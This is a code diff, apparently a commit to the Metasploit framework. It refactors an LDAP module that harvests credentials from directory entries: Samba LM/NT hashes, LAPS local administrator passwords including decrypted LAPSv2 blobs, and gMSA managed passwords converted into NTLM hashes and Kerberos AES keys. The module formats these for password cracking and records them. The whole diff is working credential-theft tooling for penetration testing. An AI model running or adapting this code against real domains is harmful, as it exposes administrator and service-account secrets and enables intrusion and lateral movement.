@@ -109,7 +109,7 @@ def run_host(_ip)
109
109
print_status ( "Searching base DN: #{ base_dn } " )
110
110
entries_returned += ldap_search ( ldap , base_dn , base : base_dn )
111
111
unless @ad_ds_domain_info . nil?
112
- attributes = %w[ dn sAMAccountName msDS-ManagedPassword ]
112
+ attributes = %w[ dn msDS-ManagedPassword sAMAccountName ]
113
113
attributes << datastore [ 'USER_ATTR' ] unless datastore [ 'USER_ATTR' ] . blank? || attributes . include? ( datastore [ 'USER_ATTR' ] )
114
114
entries_returned += ldap_search ( ldap , base_dn , base : base_dn , filter : '(objectClass=msDS-GroupManagedServiceAccount)' , attributes : attributes )
115
115
end
@@ -142,7 +142,7 @@ def ldap_search(ldap, base_dn, args)
142
142
entries_returned += 1
143
143
password_attributes . each do |attr |
144
144
if entry [ attr ] . any?
145
- creds_found += process_hash ( entry , attr )
145
+ creds_found += process_entry ( entry , attr )
146
146
end
147
147
end
148
148
end
@@ -188,7 +188,7 @@ def decode_pwdhistory(hash)
188
188
hash
189
189
end
190
190
191
- def process_hash ( entry , attr )
191
+ def process_entry ( entry , attr )
192
192
creds_found = 0
193
193
username = [ datastore [ 'USER_ATTR' ] , 'sAMAccountName' , 'uid' , 'dn' ] . map { entry [ _1 ] } . reject ( &:blank? ) . first . first
194
194
@@ -229,61 +229,79 @@ def process_hash(entry, attr)
229
229
230
230
if attr =~ /^samba(lm|nt)password$/
231
231
next if private_data . length != 32
232
- next if private_data . case_cmp? ( 'aad3b435b51404eeaad3b435b51404ee' ) || private_data . case_cmp? ( '31d6cfe0d16ae931b73c59d7e0c089c0' )
232
+ next if private_data . case_cmp? ( EMPTY_LM . unpack1 ( 'H*' ) )
233
+ next if private_data . case_cmp? ( EMPTY_NT . unpack1 ( 'H*' ) )
233
234
end
234
235
235
236
# observed sambapassword history with either 56 or 64 zeros
236
237
next if attr == 'sambapasswordhistory' && private_data =~ /^(0{64}|0{56})$/
237
238
238
- jtr_format = nil
239
- annotation = ''
239
+ artifacts = SecretArtifact . new ( public_data : username , private_data : private_data , private_type : :password )
240
240
241
241
case attr
242
242
when 'sambalmpassword'
243
- jtr_format = 'lm'
243
+ artifacts . jtr_format = 'lm'
244
+ artifacts . private_type = :nonreplayable_hash
244
245
when 'sambantpassword'
245
- jtr_format = 'nt'
246
+ artifacts . jtr_format = 'nt,lm'
247
+ artifacts . private_type = :ntlm_hash
248
+ artifacts . private_data = "#{ BLANK_LM . unpack ( 'H*' ) } :#{ private_data } "
246
249
when 'sambapasswordhistory'
247
250
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
248
251
# where the left part is a salt and the right part is MD5(Salt+NTHash)
249
252
# attribute value may contain multiple concatenated history entries
250
253
# for john sort of 'md5($s.md4(unicode($p)))' - not tested
251
- jtr_format = 'sambapasswordhistory'
254
+ artifacts . jtr_format = 'sambapasswordhistory'
255
+ artifacts . private_type = :nonreplayable_hash
252
256
when 'krbprincipalkey'
253
- jtr_format = 'krbprincipal'
257
+ artifacts . jtr_format = 'krbprincipal'
258
+ artifacts . private_type = :nonreplayable_hash
254
259
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
255
260
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
256
261
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
257
262
# Salted with principal name:
258
263
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
259
264
# In the meantime, dump the base64 encoded value.
260
- private_data = Base64 . strict_encode64 ( private_data )
265
+ artifacts . private_data = Base64 . strict_encode64 ( private_data )
261
266
when 'ms-mcs-admpwd'
262
267
# LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
263
- username = 'Administrator'
264
- annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'ms-mcs-admpwdexpirationtime' ] . first . to_i ) } )" if entry [ 'ms-mcs-admpwdexpirationtime' ] . present?
268
+ artifacts . public_data = 'Administrator'
269
+ artifacts . annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'ms-mcs-admpwdexpirationtime' ] . first . to_i ) } )" if entry [ 'ms-mcs-admpwdexpirationtime' ] . present?
265
270
when 'msds-managedpassword'
266
271
managed_password = MsdsManagedpasswordBlob . read ( private_data )
267
272
current_password = managed_password . buffer_fields [ :current_password ] # this field should always be present
268
273
if current_password && ( domain_dns_name = @ad_ds_domain_info &.fetch ( :dns_name ) )
274
+ artifacts = [ ]
269
275
sam_account_name = entry [ :sAMAccountName ] . first . to_s
276
+
270
277
salt = "#{ domain_dns_name . upcase } host#{ sam_account_name . delete_suffix ( '$' ) . downcase } .#{ domain_dns_name . downcase } "
271
278
encoded_current_password = current_password . force_encoding ( 'UTF-16LE' ) . encode ( 'UTF-8' , invalid : :replace , undef : :replace ) . force_encoding ( 'ASCII-8BIT' )
272
279
273
- ntlm_hash = OpenSSL ::Digest ::MD4 . digest ( current_password )
274
- ntlm_hash = "#{ sam_account_name } :2105:aad3b435b51404eeaad3b435b51404ee:#{ ntlm_hash . unpack1 ( 'H*' ) } :::"
275
- aes256_key = aes256_cts_hmac_sha1_96 ( encoded_current_password , salt )
276
- aes256_key = "#{ domain_dns_name } \\ #{ sam_account_name } :aes256-cts-hmac-sha1-96:#{ aes256_key . unpack1 ( 'H*' ) } "
277
- aes128_key = aes128_cts_hmac_sha1_96 ( encoded_current_password , salt )
278
- aes128_key = "#{ domain_dns_name } \\ #{ sam_account_name } :aes128-cts-hmac-sha1-96:#{ aes128_key . unpack1 ( 'H*' ) } "
279
- des_key = des_cbc_md5 ( encoded_current_password , salt )
280
- des_key = "#{ domain_dns_name } \\ #{ sam_account_name } :des-cbc-md5:#{ des_key . unpack1 ( 'H*' ) } "
281
-
282
- print_good ( ntlm_hash )
283
- print_good ( aes256_key )
284
- print_good ( aes128_key )
285
- print_good ( des_key )
286
- private_data = 'see above'
280
+ artifacts << SecretArtifact . new (
281
+ public_data : username ,
282
+ private_data : "#{ EMPTY_LM . unpack1 ( 'H*' ) } :#{ OpenSSL ::Digest ::MD4 . digest ( current_password ) . unpack1 ( 'H*' ) } " ,
283
+ private_type : :ntlm_hash ,
284
+ jtr_format : 'nt,lm'
285
+ )
286
+
287
+ artifacts << SecretArtifact . new (
288
+ public_data : username ,
289
+ private_data : Metasploit ::Credential ::KrbEncKey . build_data (
290
+ enctype : Rex ::Proto ::Kerberos ::Crypto ::Encryption ::AES256 ,
291
+ key : aes256_cts_hmac_sha1_96 ( encoded_current_password , salt ) ,
292
+ salt : salt
293
+ ) ,
294
+ private_type : :krb_enc_key
295
+ )
296
+ artifacts << SecretArtifact . new (
297
+ public_data : username ,
298
+ private_data : Metasploit ::Credential ::KrbEncKey . build_data (
299
+ enctype : Rex ::Proto ::Kerberos ::Crypto ::Encryption ::AES128 ,
300
+ key : aes128_cts_hmac_sha1_96 ( encoded_current_password , salt ) ,
301
+ salt : salt
302
+ ) ,
303
+ private_type : :krb_enc_key
304
+ )
287
305
end
288
306
when 'mslaps-password'
289
307
begin
@@ -294,34 +312,35 @@ def process_hash(entry, attr)
294
312
next
295
313
end
296
314
297
- username = lapsv2 [ 'n' ]
298
- private_data = lapsv2 [ 'p' ]
299
- annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'mslaps-passwordexpirationtime' ] . first . to_i ) } )" if entry [ 'mslaps-passwordexpirationtime' ] . present?
315
+ artifacts . public_data = lapsv2 [ 'n' ]
316
+ artifacts . private_data = lapsv2 [ 'p' ]
317
+ artifacts . annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'mslaps-passwordexpirationtime' ] . first . to_i ) } )" if entry [ 'mslaps-passwordexpirationtime' ] . present?
300
318
when 'mslaps-encryptedpassword'
301
319
lapsv2 = process_result_lapsv2_encrypted ( entry )
302
320
next if lapsv2 . nil?
303
321
304
- username = lapsv2 [ 'n' ]
305
- private_data = lapsv2 [ 'p' ]
306
- annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'mslaps-passwordexpirationtime' ] . first . to_i ) } )" if entry [ 'mslaps-passwordexpirationtime' ] . present?
322
+ artifacts . username = lapsv2 [ 'n' ]
323
+ artifacts . private_data = lapsv2 [ 'p' ]
324
+ artifacts . annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'mslaps-passwordexpirationtime' ] . first . to_i ) } )" if entry [ 'mslaps-passwordexpirationtime' ] . present?
307
325
when 'userpkcs12'
308
- # if we get non printable chars, encode into base64
326
+ # if we get non- printable chars, encode into base64
309
327
if ( private_data =~ /[^[:print:]]/ ) . nil?
310
- jtr_format = 'pkcs12'
328
+ artifacts . jtr_format = 'pkcs12'
311
329
else
312
- jtr_format = 'pkcs12-base64'
313
- private_data = Base64 . strict_encode64 ( private_data )
330
+ artifacts . jtr_format = 'pkcs12-base64'
331
+ artifacts . private_data = Base64 . strict_encode64 ( private_data )
314
332
end
333
+ artifacts . private_type = :nonreplayable_hash
315
334
else
316
335
if private_data . start_with? ( /{crypt}.?\$ 1\$ /i )
317
- private_data . gsub! ( /{crypt}.{,2}\$ 1\$ /i , '$1$' )
318
- jtr_format = 'md5crypt'
336
+ artifacts . private_data . gsub! ( /{crypt}.{,2}\$ 1\$ /i , '$1$' )
337
+ artifacts . jtr_format = 'md5crypt'
319
338
elsif private_data . start_with? ( /{crypt}/i ) && private_data . length == 20
320
339
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
321
- private_data . slice! ( /{crypt}/i )
340
+ artifacts . private_data . slice! ( /{crypt}/i )
322
341
# FIXME: what is the right jtr_hash - des,crypt or descrypt ?
323
342
# identify_hash returns des,crypt, while JtR acceppts descrypt
324
- jtr_format = 'descrypt'
343
+ artifacts . jtr_format = 'descrypt'
325
344
# TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter
326
345
# elsif hash.start_with?(/{sha256}/i)
327
346
# hash.slice!(/{sha256}/i)
@@ -330,27 +349,51 @@ def process_hash(entry, attr)
330
349
# handle vcenter vmdir binary hash format
331
350
if private_data [ 0 ] . ord == 1 && private_data . length == 81
332
351
_type , private_data , salt = private_data . unpack ( 'CH128H32' )
333
- private_data = "$dynamic_82$#{ private_data } $HEX$#{ salt } "
352
+ artifacts . private_data = "$dynamic_82$#{ private_data } $HEX$#{ salt } "
334
353
else
335
354
# Remove LDAP's {crypt} prefix from known hash types
336
- private_data . gsub! ( /{crypt}.{,2}(\$ [0256][aby]?\$ )/i , '\1' )
355
+ artifacts . private_data . gsub! ( /{crypt}.{,2}(\$ [0256][aby]?\$ )/i , '\1' )
337
356
end
338
- jtr_format = Metasploit ::Framework ::Hashes . identify_hash ( private_data )
357
+ artifacts . jtr_format = Metasploit ::Framework ::Hashes . identify_hash ( artifacts . private_data )
339
358
end
359
+ artifacts . private_type = :nonreplayable_hash
340
360
end
341
361
342
- # highlight unresolved hashes
343
- jtr_format = '{crypt}' if private_data =~ /{crypt}/i
344
- print_good ( "Credentials (#{ jtr_format . blank? ? 'password' : jtr_format } ) found in #{ attr } : #{ username } :#{ private_data } #{ annotation } " )
362
+ Array . wrap ( artifacts ) . each do |artifact |
363
+ # highlight unresolved hashes
364
+ artifact . jtr_format = '{crypt}' if artifact . private_data =~ /{crypt}/i
365
+
366
+ case artifact . private_type
367
+ when :krb_enc_key
368
+ _ , enctype , key , salt = artifact . private_data . split ( ':' )
369
+ formatted = "#{ artifact . public_data } :#{ Rex ::Proto ::Kerberos ::Crypto ::Encryption ::IANA_NAMES [ enctype . to_i ] } :#{ key } "
370
+ when :password
371
+ formatted = "#{ artifact . public_data } :#{ artifact . private_data } "
372
+ else
373
+ formatted = Metasploit ::Framework ::PasswordCracker ::JtR ::Formatter . params_to_jtr (
374
+ artifact . public_data ,
375
+ artifact . private_data ,
376
+ artifact . private_type ,
377
+ format : artifact . jtr_format
378
+ )
379
+ if formatted . nil?
380
+ formatted = "#{ artifact . public_data } :#{ artifact . private_data } "
381
+ end
382
+ end
383
+ print_good ( "Credential found in #{ attr } : #{ formatted } #{ artifact . annotation } " )
384
+
385
+ report_creds ( artifact . public_data , artifact . private_data , artifact . private_type , artifact . jtr_format )
386
+ end
345
387
346
- report_creds ( username , private_data , jtr_format )
388
+ # only increment once because the iteration is per-attribute so report one credential found even if it's reported
389
+ # in multiple formats
347
390
creds_found += 1
348
391
end
349
392
350
393
creds_found
351
394
end
352
395
353
- def report_creds ( username , private_data , jtr_format )
396
+ def report_creds ( username , private_data , private_type , jtr_format )
354
397
# this is the service the credentials came from, not necessarily where they can be used
355
398
service_data = {
356
399
address : rhost ,
@@ -365,7 +408,7 @@ def report_creds(username, private_data, jtr_format)
365
408
origin_type : :service ,
366
409
status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
367
410
private_data : private_data ,
368
- private_type : ( jtr_format . nil? ? :password : :nonreplayable_hash ) ,
411
+ private_type : private_type ,
369
412
jtr_format : jtr_format ,
370
413
username : username
371
414
} . merge ( service_data )
@@ -375,8 +418,7 @@ def report_creds(username, private_data, jtr_format)
375
418
credential_data [ :realm_value ] = @ad_ds_domain_info [ :dns_name ]
376
419
end
377
420
378
- cl = create_credential_and_login ( credential_data )
379
- cl . respond_to? ( :core_id ) ? cl . core_id : nil
421
+ create_credential_and_login ( credential_data )
380
422
end
381
423
382
424
def process_result_lapsv2_encrypted ( result )
@@ -450,6 +492,8 @@ def process_result_lapsv2_encrypted(result)
450
492
JSON . parse ( RubySMB ::Field ::Stringz16 . read ( plaintext ) . value )
451
493
end
452
494
495
+ SecretArtifact = Struct . new ( :public_data , :private_data , :private_type , :jtr_format , :annotation )
496
+
453
497
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
454
498
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
455
499
class LAPSv2EncryptedPasswordBlob < BinData ::Record
0 commit comments